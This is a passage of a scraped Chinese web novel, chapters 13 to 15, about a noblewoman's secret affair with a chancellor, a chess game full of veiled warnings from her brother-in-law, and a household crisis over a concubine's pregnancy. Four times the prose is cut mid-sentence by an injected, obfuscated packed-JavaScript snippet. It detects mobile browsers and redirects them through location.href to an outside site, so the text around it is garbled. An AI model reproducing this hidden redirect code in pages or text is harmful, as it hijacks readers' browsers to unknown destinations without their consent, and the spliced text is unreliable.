临到宴会散场之时,王延随才重新出现,只是他匆匆同王老爷子说了几句话后,便又悄然离开。 自然,走前没忘记看向她的方向。 二人隔着喧闹的人群相视一笑。 回到踏雪阁已然夜深了。 她褪下带着酒气的衣衫,整个身体没入水中,疲惫的肌肤经过热水的熨烫变得酸软起来,她闭着眼又往下沉了沉,寝房内传来窸窣的响声。 “春喜,不用换水,你去休息吧。” 岑景舒没等到回应,也没听到春喜离开的声音,也没多想,许是今夜风大吹到门窗弄出的动静,她又往水中缩了缩。 温热的气息洒在她的耳侧,比先前更重的沉香味道萦绕在鼻尖,她倏然睁开眼,并未回头,下意识捂住胸口,咬牙道:“谢在野!” “你...!” 谢无咎伸出手摩挲着她的耳垂,用另一只胳膊环住她的脖颈,宽大的袖摆浮在水面上,同时也遮挡住了一片春光。 “你怎么知道是我来了?” 岑景舒耳垂滚烫,被他摸得软了身子,于是侧过头想要躲开他的手指,蓦然环绕在她脖颈处的胳膊猛然收紧,轻微窒息感传来。 她抬起浸在水中的手,轻轻拍了拍他的胳膊,平静道:“谢无咎,滚出去。” 谢无咎松了力道,另一只手从耳垂移开,在她脖颈处流连,随后低喃:“卿卿,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445733|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是无情啊。” “够了,中书大人,我乃崔府少夫人,你我之间哪来的情?”岑景舒眉心一跳,这人不是喜欢柔弱小可怜吗。 她都这么冷酷无情了,他怎么还是纠缠不清。 “卿卿,你今日打人的样子真美。” 岑景舒听着耳边诡异的情话,又瞟向紧闭的窗户,忍不住道:“府内守卫众多,大人即便身手再好,我一嗓子喊下去,大人怕是也插翅难飞吧。” “卿卿,你不敢。” 水温渐凉,谢无咎话落扯过屏风上的寝衣,而后闭着眼一把将人捞出,胡乱用寝衣裹了个严严实实。 岑景舒身体骤然脱离水中打了个哆嗦,好在很快就被柔软的寝衣包裹,她被迫埋在谢无咎怀中,瞟了他一眼,发现他并未盯着她后暗自松了口气。 “你怎么知道我不敢?”因着被他揽着,声音有些闷闷的。 她拱了拱脑袋,想要说得更清楚一些,却被一只大手按住,她只能继续闷闷道:“中书大人你很闲吗?没有政务要处理吗?” 崔怀鹤品阶比谢无咎还低一阶,尚且整日忙得不见踪影,按理来说身为中书令的谢无咎应当更忙才是。 怎么跟无所事事的公子哥一样。 谢无咎将她放到榻上,又把寝衣舒展平整,随后挨着她坐下,道:“政务怎么会有你重要呢?” “色令智昏,骄奢淫逸,觊觎人妻,非君子所为。”岑景舒板着脸,一副夫子说教的模样,认真地盯着谢无咎。 她攥紧手指,仔细观察着他的微表情,意欲以各种态度对他,从而试探出谢无咎最讨厌的样子。 “卿卿这又是做什么?在扮演夫子么?”谢无咎把玩着她的发丝,意味不明地哼笑一声,紧接着暧昧道:“卿卿什么样子我都喜欢,何必再过多试探?” 岑景舒偏过头,借着室内微弱的烛光定定地看着眼前的人,他眼底的疯狂和不羁以及唇角若有似无的引诱,还有心中违背世俗的欲望,全都毫无保留地展现给她。 他在她面前,从来都是真实的。 她忽然又想起前些日子看的禁书,女主角最后手持红缨枪在战场之上大杀四方的样子,实属让她心动不已。 母亲长期的极端控制使她的内心有些扭曲,自小便滋生了对自由的无比渴望,可是她的身心都被母亲牢牢掌控,幼小的她反抗母亲如同蚍蜉撼树,因此她学会了隐忍伪装。 而现在,挣脱了桎梏的鸟儿却飞向了另外一个牢笼。 不同的是,鸟儿羽翼丰满,早已可以独当一面,成为了别人不能撼动的大树。 她伸手挑起谢无咎的下巴,俯身吻了上去。 自由的定论很宽泛,而岑景舒的理解便是,听从内心,想做什么便做什么,这就是自由。 她清楚地看到谢无咎惊讶一瞬后眼底涌动着的情欲,但她没有停下,双手环上他的腰,吻得更用力了。 谢无咎位高权重,样貌武功才学样样出挑,以他的能力,大可以在南天楼那次就不放了她,可他没有。 既然他想玩,她现在也被激起了兴趣,更何况她在南天楼一眼也就看中了他,那么何乐而不为呢? 谢无咎,本来就应该是她的。 她可是花了一笔大价钱呢。 主动权很快被谢无咎夺去,他以手护住她的头,将她的身子抵到墙边,撬开她的牙关,卷起她的舌头,掠夺着她的呼吸。 岑景舒身子一软,她吻技不好,在这些小事上也不想争夺主动权,便任由谢无咎动作,沉浸在这欢愉之中。 敲门声如同惊雷炸响,紧接着犹如擂鼓般的敲击声不断响起,在寂静的夜里分外清晰。 “主子,长公子来了。” 13. 第十三章 “唔...”岑景舒用舌尖将谢无咎的舌头往外抵,却被吻得更深,从喉间溢出模糊的闷哼。 屋外的夏意听到动静后敲门的手一顿,紧接着放轻声音道:“主子,您醒醒,长公子似有要事。” 岑景舒推开谢无咎,轻喘着气缓了几息,哑着声音应道:“知道了,带长公子去书房,我稍后就到。” “是。” 直至屋外脚步声消失,谢无咎才又揽过她,手指在她的唇瓣之上轻轻揉擦着,低声笑道:“卿卿这样子,叫你夫君看见了如何是好啊?” 岑景舒瞥了他一眼,从方才的深吻中脱离,眼底不见任何情欲,应道:“不劳中书大人忧心,大人乖乖等我回来便是。” 随后她下了榻换了一件轻便的衣衫,临走前又不放心地看向榻上的人,道:“安分些。” 谢无咎点了点头,勾唇一笑,薄唇微张,无声道:“卿卿,我等你回来。” 今夜的月光很亮,她便没有提灯,大踏步朝书房走去,若无紧急情况,崔怀松不会违背规定还在这么晚的时辰来找她。 她估摸八成是霜月的脸出问题了。 不然若是别的情况,崔怀松不可能这么急着来找她,好歹占着崔府长公子名号,办些事还是很简单的。 岑景舒刚推开书房的门,便看到崔怀松焦急地来回踱步,他听到动静后快步上前,快速道:“抱歉,这么晚了还来惊扰你。” “阿月她发高热了。” 夏意将门合上,而后垂着头退至一旁。 “我原想着请府医来看,可我碰到阿月的手却是温热的,不似普通发热的特征。随后我又试了她其余地方,发现除了面部以外,其余的地方都是正常的。” 崔怀松顿了顿,深吸一口气道:“景舒,我相信你,但是现在情况如此,你还是先随我去看究竟是何种情况,好吗?” “长公子莫急,我随你去看看。” “多谢。” 事关重大,崔怀松并没有大张旗鼓地来寻她,而是带霜一悄无声息地来的,一行四人都不是拖泥带水之人,不出片刻便来到了霜月房外。 霜一轻轻推开了门,便留在了外面看守。 进入内室后,岑景舒看向榻上双眼紧闭的人,霜月面色潮红,眼皮以及嘴角时不时不自然地抽搐,显得有些诡异。 崔怀松脚下生风大踏步走向榻边,伸出手指点了点霜月的嘴唇,柔声道:“阿月,快醒醒,景舒来了。” “咳...咳....咳。”霜月眼睛才睁了半开便止不住咳嗽,眼角那处皮肉抽搐得更为明显了。 崔怀松赶忙将她揽入怀中让她靠着,将温热的茶水喂她喝下。 “姐姐来了,是阿月的错,原想着明日一早再去请姐姐,可阿月的身子不争气,松哥哥着急了些这才去惊扰姐姐,姐姐千万不要怪他。” 霜月气若游丝,却还依旧坚持喘着气说完,惹得崔怀松好一阵心疼。 “无碍,自然是妹妹的身子要紧。”岑景舒面上浅笑着应和,心底冷笑一声,这霜月当真是好手段。 这番话里话外都在同她宣示主权,一个妾,哪里有身份资格说这些话? 况且,先前她为了给夏意出头,那蛇明明是冲着霜月去的,虽不致命但也够她难受上一段时间,怎么就咬伤了那婢女? 夏意技艺高超,绝不可能出任何差错,唯一的可能便是霜月趁着婢女惊慌之下,悄悄拉其做了挡箭牌。 这婢女以及现在的崔怀松,不过都是霜月上位的垫脚石,崔怀松也算得上聪慧,却被霜月耍得团团转,足以见得霜月十分擅长玩弄人心。 就连她,霜月也敢算计。 当真,好得很。 岑景舒给了夏意一下眼神,夏意点了点头,上前去为霜月把脉,而后又在霜月脸上查看一番。 片刻后,夏意撤回手,道:“并无大碍,月夫人身子虚弱,还请长公子行房事之时稍注意些。” 崔怀松轻咳一声,眼神飘忽四处乱瞄,有些心虚地看了一眼端坐着的岑景舒。 神游天外的岑景舒注意到他微妙的视线,回以一个妥帖得体的微笑,便继续思索旁的事情了。 一刻钟后,夏意迅速将银针全部取下,道:“奴婢再开一个方子,便可痊愈。” 崔怀松小心翼翼扶着霜月躺下,又为她掖了掖被角,而后起身赞叹道:“没想到景舒身边连侍女竟也如此厉害,此番多谢你了,景舒。” “不必多谢,我先走了。” 房中还有人等着她去临幸,可不能再耽搁下去了。 推开房门后,并没有落入预想的怀抱内,屋内冷冷清清,唯有那残存的沉香气息,象征着不久前有人来过。 岑景舒挑眉,这人怎么突然走了? 而后她便看到压在茶盏之下的字条。 “有些急事处理,几日后再来找卿卿——谢在野留。” 字迹有些潦草,最后几个字墨迹尚还未干透,看来是刚走不久。 她随手将字条丢进香炉内,看向夏意问道:“可看出来别的什么?” “疑似服过某种烈性药物。” “去查。” “是。” 翌日,天还未亮时,岑景舒唤醒春喜,低声交到了几句后,又按照上次的方法去了南天楼,不过这次她为了防止被人认出,干脆戴了斗笠把整张脸都遮住。 谢无咎昨夜走得匆忙,还说过几日才能来寻她,那必然是极为棘手的事情,此时不来更待何时? 她从画册上点了六个男人,压着嗓音对掌柜的问道:“除了这上面的,你们这里还有别的小公子吗?” 掌柜的笑了笑,应道:“是有的,不过小姐您也知道,这行情如此,还是得等小姐过来的次数多了,才能为小姐献上更出挑的。” “那便就这六人吧。”岑景舒点了点头,表示理解。 “得嘞得嘞,您先去雅间内歇息片刻,小公子们即刻便来。” 话落一个小男孩儿奶声奶气道:“姐姐,请您跟我来。” 岑景舒低头看着奶团子大的小人,唇角微扬,小男孩儿腿虽然短,但跑起来一点也不慢,不过片刻便把她引到了地方。 “祝姐姐玩得愉快。” 几乎在她坐下的瞬间,外面便传来了杂乱的脚步声,紧接着敲门声响起,掌柜的用不大不小的声音喊道:“小姐,您要的人来了。” “进来吧。” 六个男人依次进入,表情各有不同,但无一例外都异常俊美,十分养眼。 几人围绕在她的身边,捶腿的捶腿,按肩的按肩,喂水果的喂水果,说吉祥话哄她高兴的少年笑得露出了两颗虎牙。 分工明确,有条不紊,显然没少一起伺候别的小姐。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445734|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑景舒没摘斗笠,透过层层纱幔,看向立在房间内始终没有动弹的男人。 本想开口问他怎么不动,却看到他一言不发地褪了外衫和里衣,露出精壮的胸膛和紧实的肌肉,下半身少得可怜的布料勉强遮住了重点部位。 岑景舒觉得有些好笑,谁也没有强迫他去干什么,做出一副视死如归的样子给谁看? 她摆摆手挥开身边的一群人,起身来到这人跟前,抬脚轻轻踢了他的膝盖,简短命令道:“跪下。” 男人神色紧绷,手指用力攥成拳,脖颈处的青筋暴起,呼吸变得急促起来,饱满的胸肌上下耸动,岑景舒伸手在那上面摸了一把,激得人一阵战栗。 “我让你跪下,别让我说第三遍。” 他缓缓屈膝,双膝触碰到地面之时发出沉闷响声,连带着他的头也低了下去,跪倒在她的脚边。 岑景舒非常满意,这下总算不用仰着头看他了,便转身坐了回去,任由他在那跪着。 垂着头跪在地上的男人猛然抬头,满脸的震惊与不解,似乎是在疑惑她为什么没有进行下一步动作。 岑景舒看出来了,但是她懒得解释,整个人跟没骨头一样瘫在坐榻之上,几双带着香气的手为她舒缓着身体。 她来这里不过是图个消遣,包括跟这里的主人谢无咎也是,打发时间的玩物而已,她可不想跟他们有深入接触,脏了身子。 尽兴之后,她看向直挺挺跪在房内一动不动的人,走过去用鞋尖踢了踢他的膝盖,淡声道:“你,跟我走。” 男人抿了抿唇,最终还是起身,跟在她的身后。 掌柜的一看便知是什么意思,向她报了个数字,熟练笑道:“小姐,若是身上暂时没带够银子,可以留个物件抵押,下次来时把银子带来便好。” “不必了。”岑景舒十分爽快掏出银票,直接递给他。 她想了想,这男人太过引人注目,便从手腕取下一只手镯,对掌柜的道:“人先留在这里,明日我派人凭另一只手镯来接,可行?” “自是可以,小姐这边请。”掌柜的看了眼手镯后便仔细收下,亲自带着她去了密道。 走了约莫有一刻半钟的时间,方才走出密道,来到了郊外,一辆不起眼的马车正等候在此。 “小姐,您留个名讳,下次来还从这里来,报了名讳便可通行。”掌柜的一边替她掀开马车的帘子,一边说道。 岑景舒想了想,应道:“小白,白色的白。” “小白小姐慢走。” 马车将她送到洛京城边一个街道内便停下了,车夫弯着腰,低声道:“小姐,以后也是到这便停了,日后可以提前安排好人接应。” “小的先走了。” 岑景舒点了点头,这离她事先定下的客栈也不远,于是便步行走了过去,随后歇息了一晚,一早按照上次的流程回到了崔府内。 只是这次身体有些亢奋,她索性便独自去了花园的阁楼之上,将一派美景尽收眼底,心旷神怡。 “原是长嫂来了,执潭见过长嫂。” 岑景舒闻声看去,崔怀鹤自阁楼另一侧不慌不忙走来,不知是不是她的错觉,她总觉得,这人似乎更白了些。 “怀鹤也在啊,难得见你闲下来,我就不打扰你的雅兴了。”她笑着说完,作势便要走。 “无妨,天色正好,长嫂会下棋吗?” 14. 第十四章 “我棋艺并不精湛,岂不是平白坏了你的兴致?” 岑景舒看着他,崔怀鹤一向懂分寸,此番突然邀请她一同下棋,也不知是想做什么,她话说得模棱两可,全凭他怎么理解了。 崔怀鹤抬手做了个邀请的手势,温声应道:“执潭于棋道略有研究,若长嫂不嫌弃,执潭可指点一二。” “好。” 二人朝着阁楼内室走去,里面各种器具摆放整齐,白玉砌成的棋案在正中央最醒目的位置放着,桑尘已经备好棋子在那候着了。 岑景舒手执白子,看似随意胡乱下了一通,被黑子围剿得片甲不留,应了那句“棋艺并不精湛”。 她抬眼将目光从棋盘上挪走,本想看崔怀鹤想要怎么落子,在看到那只手的瞬间,脑海中的棋局崩盘,只剩下那两根修长如玉的手指,夹着一枚黑子把玩的画面。 “啪嗒。” 黑子落下,白子囚徒困境,输赢仅在一念之间。 “这盘棋,破局之法有三种。” 崔怀鹤伸出手从她的棋匣中摸了三颗棋子,毫不犹豫地在一角落下一颗白子,解释道:“机遇与危险并存。” “黑子看似将白子围得紧密,实则醉翁之意不在酒,因此才可叫人钻了空子,此乃破局之法其一。” 他手指微屈,将那颗白子随意丢在一旁,另一只手撩着宽大的袖摆,在棋盘正中央落下一子,道:“黑子步步紧逼锋芒太盛,白子一再退让。” “百密一疏,天下没有无解的棋。” “此乃破局之法其二。” 岑景舒眸光微动,在他说完其一后就隐约有了头绪,说完其二后便完全确定了他在说什么,这哪里是下棋? 分明是借着棋局点长公子痴情旁人冷落了她,说谢无咎死缠烂打不安好心。 她弯了弯唇角,道:“二公子果然技艺高超,不知这第三种办法是何解?” 若她没猜错的话,其三指的应该是王小将军了。 崔怀鹤右手执棋,左手把玩着青玉手串,闻言将手中最后一颗白子落下,道:“黑白两子你来我往,交相缠绕,黑子却一味掠夺,最是难缠。” “落下此子,一刀两断反败为胜。” “此乃破局之法三。” 这是在暗指王延随同她一起长大,却只知晓从她这里索取,不知回报。 岑景舒看了眼棋盘,不知他此举何意,于是双手合拢又快速分开,象征性鼓了鼓掌,缓缓道:“当真是妙极,可我方才瞧出了第四种解法。” “长嫂请。”崔怀鹤神情不变,对此似乎并不意外。 岑景舒摩挲着手中的棋子,上面已经沾染了她的温度,而后在崔怀鹤的注视下,羊入虎口般落到了一群黑子中。 白子置之死地而后生,一改方才颓势,隐隐有反压黑子的兆头。 “怀鹤你看,如何?” 崔怀鹤轻笑一声,连带着眼尾都是笑意,应道:“自是极好,长嫂还说不擅下棋,这样看来,是我该向长嫂讨教一二了。” “啪嗒,啪嗒。” 棋子不断落下,战况逐渐焦灼。 然而执棋人之间的氛围却是异常和谐。 岑景舒时不时喝一口茶,颇为悠闲自在,对面的崔怀鹤落子不假思索游刃有余,修长的手指一起一落,棋盘上的局势便陷阱重重,稍有不慎就会满盘皆输。 都说棋如人生,想必他在朝廷之上布局时便是此刻云淡风轻的模样吧,谈笑间便可让天下动荡,朝野争鸣。她的心蓦然跳动得快了些。 一个小厮着急忙慌跑来,行了礼后不敢多看附在桑尘耳边说了几句话后,弯着腰站在原地等候。 桑尘冲她拱了拱手,这才单膝跪下偏头对崔怀鹤低声说了些什么,脸色有些不太好看。 “长嫂见谅,有些琐事需要我去处理,这棋盘不若先留着,待下次再破?”崔怀鹤倒是面色如常,不紧不慢道。 岑景舒站起身看着他点了点头,道:“怀鹤快去忙吧。” 正当他从身边擦肩而过时,忽然停住了脚步,偏头低声道:“长嫂身上的香气很杂,像是城东特产,那边是闹市不安全,长嫂还是少去为妙。” 二人距离极近,岑景舒看着他深不见底的眼睛,呼吸错乱几拍,应道:“是去那边置办了些物件,多谢怀鹤提醒,我会注意的。” 待他走远后,岑景舒才回了踏雪阁,这二公子嗅觉灵敏,观察细致入微,心思又难以捉摸城府极深,看来以后不得不小心些了。 夏意快步迎上来将手镯递给她,道:“主子,人已经送到绝柳小姐那里了,极北雪莲也一并送去了。” “嗯,让她好生调教着。” 岑景舒指尖动了动,还真有些舍不得将人送给闻绝柳,那丫头下手毒辣,不知会把那硬朗的美男磋磨成什么样子。 当初活泼可人和春喜闹人程度不相上下的夏意,在闻绝柳手下不过呆了三年,回来就变成了如此沉默寡言冷若冰霜的性子。 即便闻绝柳教了夏意一身本领,当时她还是去闻绝柳的住处大闹了一番,足足月余才放过闻绝柳。 她轻轻地拍了拍夏意的肩膀,皮笑肉不笑道:“闻绝柳那死丫头,真不怕哪一天阴钩里翻船。” “没用的东西!你这三脚猫的功夫日后如何保护主子?再来!”头发高高束起的红衣女子手持软鞭,微抬着下巴斜睨看向倒在地上的男人。 “嗯...” 男人闷哼一声,吐出一大口鲜血后,两眼一翻晕了过去。 “诶诶诶!”闻绝柳瞪大眼睛,把鞭子甩到一边,足尖轻点借着力一个璇身稳稳落在男人身侧。 闻绝柳蹲下身,掀开男人的眼皮看了看,而后双指并拢探向他的脉搏,却摸到了正强劲有力跳动的脉。 她暗道不妙,正想闪身撤开,却被装晕的男人用力箍住胳膊,一把按在了地上。 “闻绝柳,避世已久的药王谷亲传大弟子,医毒双修,武功一流,江湖人称药毒仙子。”他声音沙哑,瞳孔逐渐变成了浅蓝色。 “实则是洛京柳家现任家主的嫡出大小姐,柳...” 他还没说完,便栽倒在一旁,真昏了过去。 闻绝柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445735|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍了拍他的脸,龇着牙道:“蠢货,知道老娘是药王谷大弟子擅长用毒,还敢不闭气近身,愚不可及!” 她不解气地往他身上又踹了几脚,骂道:“要不是你是岑景舒那个废物送来的人,单凭你方才的几句话,都够老娘杀你一百次了!” “来人!把他关进后院!” ** 岑景舒摸了摸鼻尖,偏头看向夏意,低声道:“我总觉得,闻绝柳那死丫头骂我了。” “主子,绝柳小姐不是那样的人。”夏意回答的很快,几乎是脱口而出。 她挑眉,反问:“那你的意思是,我是那样的人了?” 夏意抿了抿唇,单膝跪地,垂首道:“主子恕罪,奴婢知错。” “给你个将功赎罪的机会。”岑景舒咽下一口茶,接着道:“去查一下那个男人的来历,在南天楼时,我便觉得他不简单。” “是,主子。” 岑景舒打了个哈欠,正在思索现在睡下后,夜里还睡不睡得着,便瞧见春喜皱着眉满脸怒容快步走近,怒道:“主子,那小贱...” 春喜顿了顿,深吸口气,接着道:“月夫人,有喜了。” “嗯?这不是好事吗?怎么摆出这副样子来?”岑景舒半阖着眼,脑子已经逐渐昏沉,浓重的困意根本无法抵挡。 “我同长公子先前……” 她眨了眨眼,含混不清接着道:“约定好了,第一个孩子会养在我膝下。” “主子!这都什么时候了,您怎么还犯困了?!”春喜跺了跺脚,加大声音喊道:“您知不知道外边的人都怎么说您啊!” “现在这事儿闹得满城风雨,就连陛下都知晓此事了!还在早朝之上呵斥了崔大人呢!” 岑景舒闻言瞌睡虫跑了一半,挺直身子道:“不过是崔府后宅私事,即便是妾室诞下长子,又有何稀奇,怎会如此?” “况且,她怀孕了,为什么我先前没听到半点消息?反倒是外界先大肆议论起来了?” 春喜眼底燃烧的火苗变成熊熊烈火,咬牙应道:“今日长公子陪月夫人乔装上街闲逛,结果被一个男子冲撞了,身下流了好多血。” “长公子当即亮明身份,让人把那男子活活打死了,还扬言月夫人若有什么意外,要那流氓的全家陪葬。” “本来这也没什么,可那男子是谢家的远方表亲,谢中书大人知晓此事后,在御前直言崔大人教子不严,长公子当街杀人目无法纪,宠妾灭妻罔顾礼法人伦。” “闹了好大一通,现在长公子已被下令禁足,月夫人送到了别院养胎,崔大人和谢中书大人被陛下留下,至今未回。” 大夫人动了家法,将长公子打得血肉模糊,丢了半条命,还是二公子及时赶到,大夫人这才停手。 岑景舒心下了然,下棋之时崔怀鹤便是为了此事离席,可依着大夫人的行事作风,紧接着很有可能会连同求情的崔怀鹤一并惩戒。 她沉吟片刻,站起身道:“走,我们去大夫人院子瞧瞧。” 不管崔怀松如何,她私心并不希望崔怀鹤因此受到牵连。 15. 第十五章 谢无咎发难,多半跟她有关。 他的性情众所周知,且不说他根本不把礼法放在眼中,更不会为了一个八竿子打不着的亲戚同崔家公然叫板,这对他没有任何利处。 直觉告诉她,谢无咎此举是不爽崔怀松的所作所为,就是为了替她出气。 那么,即将有可能受到波及的崔怀鹤便是无妄之灾了。 怎么说崔怀鹤明里暗里也帮她瞒了许多事情,因此她才不想崔怀鹤出事。 春喜快步跟在她的身后,不解道:“主子您去做什么?也要替长公子求情吗?” 她摇了摇头,加快步伐,不出片刻便来到了大夫人的院子。 守在门口的奴婢和小厮见是她来,行了个礼什么也没说便放她进去了,显然是事前受了大夫人的吩咐。 偌大的院落内,她视线所及之内能看到的只有四个背影,瘫软在地身上和四周皆是血红一片的长公子,一旁的是端端正正跪着的崔怀鹤,就像是永不弯折的青竹。 还有便是着棕色衣衫拿着骨鞭的大夫人,和站在大夫人身边随时待命的竹琴。 “母亲,尽溪来给您请安。”岑景舒站在原地,并未着急上前,屈膝行了一礼,声音不大足够让不远处的大夫人听到。 见大夫人和竹琴先后转过身,岑景舒这才直起身,不紧不慢走了过去。 她走到崔怀鹤身侧时,没有半分犹豫,双膝同时重重磕在地上,紧接着道:“母亲,事情尽溪已经听说了,是尽溪的错。” “没有安定好夫君的后宅,这才闹出事端来,尽溪甘愿领罚,还望母亲可以饶恕夫君这一次。” 说完,她双手触地,行了大礼。 寒意顺着膝盖迅速蔓延至全身,她跪下不过片刻,身体便冷得有些发麻,也不知晓崔怀鹤跪了这般久是什么滋味。 岑景舒向身侧瞥去,但碍于视线遮挡,只能看到崔怀鹤垂在身侧白皙的手,指尖有些泛红,手背上缠绕着半截青玉珠串,很是好看。 她收回视线,因着过于用力去看,眼眶有些发酸。 忽然,一双温暖的手将她扶起,随后她的手便被那双手包裹住,大夫人轻轻揉搓着她的手,叹了口气道:“快起来,你这孩子。” “心太软可不行。” 岑景舒抬眼对上大夫人的目光,道:“母亲,我日后会规劝夫君的言行,还请母亲饶了夫君这一次。” 她说罢看了眼崔怀松,佯装刚注意到跪在地上的人是二公子,不由得出声问道:“二公子怎得也跪在这里?” 崔怀鹤侧头,眉眼间分明染着笑意,可他眼中却没有什么温度。 “兄长办事不利,惹得父亲母亲不快,我这个做弟弟的,自然要来劝诫一番。” 她借此机会快速仔细打量了他全身,发现并无外伤后暗自松了口气,应当只是在此跪了些时间,并不打紧。 大夫人没理他给了书琴一个眼神,随后牵着她的手朝屋内走去,春喜则是极有眼色地跟着书琴留在了院中。 “此事你不必自责,也不要听信外面的风言风语,你安心在府上歇着,交于我处理便好,切莫往心里去。” 岑景舒依言点头,轻声应道:“母亲,我知晓了。” “眼下天正冷,夫君和二公子他们...” 她没有把话说全,侧过头去看大夫人的神色,心中暗自猜测着大夫人究竟为何对她如此特殊。 先前她刚入府时,大夫人说她爹和崔府有些交情,可在她印象中,她那个便宜爹四处巴结讨好世家勋贵,只不过众人碍于祖父的面子,也就做做面子功夫罢了,私下都在惋惜祖父后继无人。 如此一来,何谈有些交情一说? 若是因为祖父的缘故,大夫人更不会那样说了。 “书琴会处理好,尽溪来,坐。”大夫人温柔一笑,眼神中带着几分怜爱。 “前些日子便说要把库房钥匙给你,可近日事情繁多,一茬紧接着一茬,倒是委屈了你。” 大夫人拿出一个檀木匣子放到她眼前,缓缓道:“择日不如撞日,以后崔府上下便交给你了。” 岑景舒双手将匣子往大夫人那边推了推,随后站起身倒了杯热茶,道:“尽溪资历尚浅,比不得母亲周全,如何担得起如此重任呢?” “母亲爱戴尽溪,这份心意尽溪收下了,可这库房钥匙尽溪是万万不能收的,还望母亲三思。” 大夫人见状也不再强求,转而又道:“月丫头是你的义妹,我也没有为难她,只是将她送到府外养胎。” “待月丫头产下子嗣之后,我会派人将月丫头接回来,至于生下的孩子,你是松儿的正妻,便由你来决定孩子养在谁的膝下。” “松儿对月丫头宠爱过甚,从未留宿踏雪阁,我已提点过一二,日后你大可安心。” 岑景舒眼前闪过血淋淋的身影,隐在袖中的指尖蜷缩一瞬又恢复如常,这可不是提点一二,这是把人往死里打。 “是,多谢母亲。”她弯了弯唇,乖顺应道。 ** 院子内又恢复了往常的模样,丫鬟小厮们井然有序地干着自己手头上的活,地上的血迹被清理得一干二净,完全看不出方才血迹斑驳的景状。 春喜三步并作两步迎上来,看了眼四周低声汇报道:“长公子和二公子被送回各自院子了。” 岑景舒轻微点点头示意知晓了,端着仪态目不斜视地向前走,春喜见状低下头也不再多言。 一路上没再遇到什么人,都是些小厮和丫鬟,因此很快便回到了踏雪阁。 到了自己的地盘,春喜紧绷的身体骤然一松,神色肉眼可见地轻快了不少,猛灌了几杯温热的茶水,缓了缓道:“主子,你是没瞧见,真是要吓死奴婢了。” “长公子简直被打成了血人,这长公子是不是大夫人亲生的啊?怎么下手这么狠?” 岑景舒蹙眉瞥了春喜一眼,眼尾下压有些不悦道:“春喜,慎言。” “是,奴婢知错。”春喜拍了拍自己的嘴巴,做了个噤声的手势。 “你母亲也是府上的老人了,现在给你母亲写一封家书,问问我祖父还健在时,我祖父以及我父亲,可与崔府有什么隐晦的渊源?” 岑景舒指尖无规律地敲击着木制桌案,发出沉闷的响声,停顿了片刻后又接着道:“如若你母亲也不知道,让她帮我查查,记得小心些。” “是,主子,奴婢这就去写。”春喜瞪大了眼睛,满脸疑惑,但碍于刚刚触了主子的霉头,也不敢多问,应声后便退下写家书了。 岑景舒垂眸把玩着茶杯,眼神却并未聚焦,而是在回想十几年甚至二十几年前的一些朝政局势。 能和崔府这种世家大族有牵扯的,必然不是什么烂芝麻的小事。 她看的都是祖父留下的一些手记,大部分写得都是云里雾里,但凭借着对祖父的了解,也能勉强猜出个大致轮廓来。 良久,她叹了口气,手记上确实有对崔府的记载,只不过大多都是可以纳入史记的记载,这些足够公之于众的信息,自然没什么可以深究的。 但,她绝不信大夫人是因为她那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445736|185096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个便宜爹。 不过目前来看,这也不是什么坏事,等日后有机会还要探一探大夫人的口风,现下还不是时候。 日光从指缝间溜走,夜色悄然笼罩大地。 岑景舒换好寝衣,及腰的长发随意散落,赤着脚走向榻边准备睡下,脚踝处的小铜铃随着脚步移动发出细碎响声。 蓦然,她脚步一顿,铜铃响声戛然而止。 一个黑色的影子无比娴熟地翻窗而入,她先前安置在那的机关对他来说形同虚设。 熟悉的沉香味瞬间侵占了整个寝房。 谢无咎上前两步轻松将她拦腰抱起,用力捏了一下她的腰,半真半假地轻斥道:“怎么光着脚?容易着凉,染了风寒便不好了。” 闻言岑景舒晃了晃脚,铜铃的响声更清脆了些。 “怎么?怕我染了风寒传给你?”她伸手去摸谢无咎凸起的喉结,随意应道。 谢无咎轻笑一声,道:“卿卿这样会曲解人意,应当去朝堂之上和那群老狐狸斗斗法。” “我还没原谅你上次的不告而别。” “嗯...” 